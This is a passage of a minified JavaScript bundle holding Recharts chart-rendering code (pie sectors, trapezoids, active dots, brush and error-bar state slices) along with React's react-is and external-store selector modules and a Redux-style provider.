Hb(e){for(var t=1;tt,rv=T([Q3,D$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),R$=[],iv=(e,t,n)=>(n==null?void 0:n.length)===0?R$:n,tS=T([Kd,rv,iv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Hb(Hb({},t.presentationProps),a.props))),i!=null)return i}}),$$=T([tS,rv,iv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Fe(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Pd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),B$=T([tS,rv,iv,yt],(e,t,n,r)=>{if(!(t==null||e==null))return HB({offset:r,pieSettings:t,displayedData:e,cells:n})}),nS={exports:{}},Le={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var av=Symbol.for("react.transitional.element"),sv=Symbol.for("react.portal"),sf=Symbol.for("react.fragment"),of=Symbol.for("react.strict_mode"),lf=Symbol.for("react.profiler"),cf=Symbol.for("react.consumer"),uf=Symbol.for("react.context"),df=Symbol.for("react.forward_ref"),ff=Symbol.for("react.suspense"),pf=Symbol.for("react.suspense_list"),mf=Symbol.for("react.memo"),hf=Symbol.for("react.lazy"),F$=Symbol.for("react.view_transition"),W$=Symbol.for("react.client.reference");function En(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case av:switch(e=e.type,e){case sf:case lf:case of:case ff:case pf:case F$:return e;default:switch(e=e&&e.$$typeof,e){case uf:case df:case hf:case mf:return e;case cf:return e;default:return t}}case sv:return t}}}Le.ContextConsumer=cf;Le.ContextProvider=uf;Le.Element=av;Le.ForwardRef=df;Le.Fragment=sf;Le.Lazy=hf;Le.Memo=mf;Le.Portal=sv;Le.Profiler=lf;Le.StrictMode=of;Le.Suspense=ff;Le.SuspenseList=pf;Le.isContextConsumer=function(e){return En(e)===cf};Le.isContextProvider=function(e){return En(e)===uf};Le.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===av};Le.isForwardRef=function(e){return En(e)===df};Le.isFragment=function(e){return En(e)===sf};Le.isLazy=function(e){return En(e)===hf};Le.isMemo=function(e){return En(e)===mf};Le.isPortal=function(e){return En(e)===sv};Le.isProfiler=function(e){return En(e)===lf};Le.isStrictMode=function(e){return En(e)===of};Le.isSuspense=function(e){return En(e)===ff};Le.isSuspenseList=function(e){return En(e)===pf};Le.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===sf||e===lf||e===of||e===ff||e===pf||typeof e=="object"&&e!==null&&(e.$$typeof===hf||e.$$typeof===mf||e.$$typeof===uf||e.$$typeof===cf||e.$$typeof===df||e.$$typeof===W$||e.getModuleId!==void 0)};Le.typeOf=En;nS.exports=Le;var U$=nS.exports,Kb=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",qb=null,pp=null,rS=e=>{if(e===qb&&Array.isArray(pp))return pp;var t=[];return p.Children.forEach(e,n=>{Pt(n)||(U$.isFragment(n)?t=t.concat(rS(n.props.children)):t.push(n))}),pp=t,qb=e,t};function iS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>Kb(i)):r=[Kb(t)],rS(e).forEach(i=>{var a=Co(i,"type.displayName")||Co(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var aS=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,sS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(sS);var V$=sS.isPlainObject;const H$=Lr(V$);var Yb,Gb,Xb,Zb,Qb;function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function e2(e){for(var t=1;t{var a=n-r,o;return o=Qe(Yb||(Yb=Rs(["M ",",",""])),e,t),o+=Qe(Gb||(Gb=Rs(["L ",",",""])),e+n,t),o+=Qe(Xb||(Xb=Rs(["L ",",",""])),e+n-a/2,t+i),o+=Qe(Zb||(Zb=Rs(["L ",",",""])),e+n-a/2-r,t+i),o+=Qe(Qb||(Qb=Rs(["L ",","," Z"])),e,t),o},G$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},X$=e=>{var t=fn(e,G$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=$d(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var U=m.current.getTotalLength();U&&x(U)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Xe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Ou({},It(t),{className:k,d:t2(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,_=b.current,A=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=gN(["strokeDasharray"],u,c);return p.createElement(Rd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},U=>{var D=St(S,i,U),M=St(N,a,U),F=St(z,o,U),R=St(_,n,U),W=St(A,r,U);m.current&&(g.current=D,y.current=M,v.current=F,b.current=R,w.current=W);var $=U>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return p.createElement("path",Ou({},It(t),{className:k,d:t2(R,W,D,M,F),ref:m,style:e2(e2({},$),t.style)}))})},Z$=["option","shapeType","activeClassName"];function Q$(e,t){if(e==null)return{};var n,r,i=J$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(l3({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},lB=e=>{var t=it();return(n,r)=>i=>{e==null||e(n,r,i),t(pD())}},cB=(e,t,n)=>{var r=it();return(i,a)=>o=>{e==null||e(i,a,o),r(mD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function oS(e){var{tooltipEntrySettings:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(cD(t)):i.current!==t&&n(uD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(dD(i.current)),i.current=null)},[n]),null}function uB(e){var{legendPayload:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(mN(t)):i.current!==t&&n(hN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(xN(i.current)),i.current=null)},[n]),null}function dB(e){var{legendPayload:t}=e,n=it(),r=ye(Me),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(mN(t)):i.current!==t&&n(hN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(xN(i.current)),i.current=null)},[n]),null}var mp,fB=()=>{var[e]=p.useState(()=>Po("uid-"));return e},pB=(mp=K2.useId)!==null&&mp!==void 0?mp:fB;function mB(e,t){var n=pB();return t||(e?"".concat(e,"-").concat(n):n)}var hB=p.createContext(void 0),lS=e=>{var{id:t,type:n,children:r}=e,i=mB("recharts-".concat(n),t);return p.createElement(hB.Provider,{value:i},r(i))},xB={cartesianItems:[],polarItems:[]},cS=Xt({name:"graphicalItems",initialState:xB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:Ue()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:Ue()},removeCartesianGraphicalItem:{reducer(e,t){var n=Fn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:Ue()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:Ue()},removePolarGraphicalItem:{reducer(e,t){var n=Fn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:Ue()}}}),{addCartesianGraphicalItem:vB,replaceCartesianGraphicalItem:gB,removeCartesianGraphicalItem:yB,addPolarGraphicalItem:bB,removePolarGraphicalItem:wB}=cS.actions,jB=cS.reducer,kB=e=>{var t=it(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(vB(e)):n.current!==e&&t(gB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(yB(n.current)),n.current=null)},[t]),null},NB=p.memo(kB);function SB(e){var t=it();return p.useLayoutEffect(()=>(t(bB(e)),()=>{t(wB(e))}),[t,e]),null}var zB=["key"],CB=["onMouseEnter","onClick","onMouseLeave"],PB=["id"],EB=["id"];function i2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function et(e){for(var t=1;tiS(e.children,nf),[e.children]),n=ye(r=>$$(r,e.id,t));return n==null?null:p.createElement(dB,{legendPayload:n})}var LB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Pd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(oS,{tooltipEntrySettings:f})}),IB=(e,t)=>e>t?"start":esn(typeof t=="function"?t(e):t,n,n*.8),RB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=kN(a,o),c=i+sn(e.cx,a,a/2),u=r+sn(e.cy,o,o/2),d=sn(e.innerRadius,l,0),f=DB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},$B=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},BB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Xe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=xf(t,zB);return p.createElement(Ba,gi({},i,{type:"linear",className:n}))},FB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Xe("recharts-pie-label-text",T$(e));return p.createElement(nv,gi({},t,{alignmentBaseline:"middle",className:i}),r)};function WB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=Cr(n),c=zo(i),u=zo(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=st(m.cx,m.cy,m.outerRadius+d,x),y=et(et(et(et({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:IB(g.x,m.cx)},g),v=et(et(et(et({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[st(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(Si,{zIndex:Ht.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Gt,null,a&&BB(a,v),FB(i,y,Fe(m,o))))});return p.createElement(Gt,{className:"recharts-pie-labels"},f)}function UB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(X3,{label:i}):p.createElement(WB,{sectors:t,props:n,showLabels:r})}function VB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=ye(ns),c=ye(k3),u=ye(JD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=xf(i,CB),x=oB(d,i.dataKey,o),g=lB(m),y=cB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=et(et({},v),{},{stroke:v.stroke,tabIndex:-1,[Qk]:b,[Jk]:o});return p.createElement(Gt,gi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},o6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(sB,gi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function HB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=$B(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Fe(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Fe(N,u,0);return S+(he(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Fe(S,u,0),_=Fe(S,d,N),A=RB(n,a,S),O=(he(z)?z:0)/w,P,I=et(et({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ut(h)*g*(z!==0?1:0):P=l;var U=P+Ut(h)*((z!==0?m:0)+O*b),D=(P+U)/2,M=(A.innerRadius+A.outerRadius)/2,F=[{name:_,value:z,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],R=st(A.cx,A.cy,M,D);return k=et(et(et(et({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:_,tooltipPayload:F,midAngle:D,middleRadius:M,tooltipPosition:R},I),A),{},{value:z,dataKey:u,startAngle:P,endAngle:U,payload:I,paddingAngle:Ut(h)*g}),k})}return j}function KB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(w$,{value:t?i:void 0},r)}function qB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=$d(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(KB,{showLabels:!g,sectors:i},p.createElement(Rd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,_)=>{var A=x&&x[_],O=_>0?Co(z,"paddingAngle",0):0;if(A){var P=St(A.endAngle-A.startAngle,z.endAngle-z.startAngle,w),I=et(et({},z),{},{startAngle:N+O,endAngle:N+P+O});k.push(I),N=I.endAngle}else{var{endAngle:U,startAngle:D}=z,M=St(0,U-D,w),F=et(et({},z),{},{startAngle:N+O,endAngle:N+M+O});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Gt,null,p.createElement(VB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(UB,{showLabels:!g,sectors:i,props:t}),t.children)}var YB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ht.area};function GB(e){var{id:t}=e,n=xf(e,PB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>iS(e.children,nf),[e.children]),l=ye(d=>B$(d,t,o)),c=p.useRef(null),u=Xe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Gt,{tabIndex:a,className:u})):p.createElement(Si,{zIndex:e.zIndex},p.createElement(LB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Gt,{tabIndex:a,className:u},p.createElement(qB,{props:et(et({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function uS(e){var t=fn(e,YB),{id:n}=t,r=xf(t,EB),i=Cr(r);return p.createElement(lS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(SB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(MB,gi({},r,{id:a})),p.createElement(GB,gi({},r,{id:a}))))}uS.displayName="Pie";var XB=["points"];function a2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hp(e){for(var t=1;t{var y,v,b=hp(hp(hp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(nF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(Si,{zIndex:u},p.createElement(Gt,Mu({className:r},h),m))}function s2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function o2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),dF=T([uF,Rr,$r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),ov=()=>ye(dF),fF=()=>ye(iR);function l2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=xp(xp(xp({},l),zo(i)),Sx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(Z3,c),p.createElement(Gt,{className:"recharts-active-dot",clipPath:o},u)};function c2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ht.activeDot}=e,l=ye(ns),c=fF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Pt(u)?null:p.createElement(Si,{zIndex:o},p.createElement(xF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var pS=e=>{var{chartData:t}=e,n=it(),r=Kn();return p.useEffect(()=>r?()=>{}:(n(jb(t)),()=>{n(jb(void 0))}),[t,n,r]),null},u2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},mS=Xt({name:"brush",initialState:u2,reducers:{setBrushSettings(e,t){return t.payload==null?u2:t.payload}}}),{setBrushSettings:XV}=mS.actions,vF=mS.reducer,gF={dots:[],areas:[],lines:[]},hS=Xt({name:"referenceElements",initialState:gF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Fn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Fn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Fn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:ZV,removeDot:QV,addArea:JV,removeArea:eH,addLine:tH,removeLine:nH}=hS.actions,yF=hS.reducer,bF=p.createContext(void 0),wF=e=>{var{children:t}=e,[n]=p.useState("".concat(Po("recharts"),"-clip")),r=ov();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(bF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},jF={},xS=Xt({name:"errorBars",initialState:jF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:rH,replaceErrorBar:iH,removeErrorBar:aH}=xS.actions,kF=xS.reducer;function vS(e,t){var n,r,i=ye(u=>Wr(u,e)),a=ye(u=>Ur(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:O4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:T4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function NF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=ov(),{needClipX:a,needClipY:o,needClip:l}=vS(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function SF(e){var t=zo(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var zF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var fl=p;function CF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var PF=typeof Object.is=="function"?Object.is:CF,EF=fl.useSyncExternalStore,AF=fl.useRef,_F=fl.useEffect,OF=fl.useMemo,TF=fl.useDebugValue;zF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=AF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=OF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,PF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=EF(e,a[0],a[1]);return _F(function(){o.hasValue=!0,o.value=l},[l]),TF(l),l};function MF(e){e()}function LF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){MF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var d2={notify(){},get:()=>[]};function IF(e,t){let n,r=d2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=LF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=d2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var DF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",RF=DF(),$F=()=>typeof navigator<"u"&&navigator.product==="ReactNative",BF=$F(),FF=()=>RF||BF?p.useLayoutEffect:p.useEffect,WF=FF();function f2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function UF(e,t){if(f2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=IF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);WF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||HF;return p.createElement(l.Provider,{value:a},t)}var qF=KF,YF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function GF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function gS(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(YF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!UF(e[r],t[r]))return!1}else if(!GF(e[r],t[r]))return!1;return!0}function lv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:dS}function cv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:dS}var yS=(e,t,n)=>n3(e,"xAxis",lv(e,t),n),bS=(e,t,n)=>t3(e,"xAxis",lv(e,t),n),wS=(e,t,n)=>n3(e,"yAxis",cv(e,t),n),jS=(e,t,n)=>t3(e,"yAxis",cv(e,t),n),XF=T([Me,yS,wS,bS,jS],(e,t,n,r,i)=>dr(e,"xAxis")?su(t,r,!1):su(n,i,!1)),ZF=(e,t)=>t,kS=T([L4,ZF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),NS=e=>{var t=Me(e),n=dr(t,"xAxis");return n?"yAxis":"xAxis"},QF=(e,t)=>{var n=NS(e);return n==="yAxis"?cv(e,t):lv(e,t)},JF=(e,t,n)=>B4(e,NS(e),QF(e,t),n),eW=T([kS,JF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=N0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return 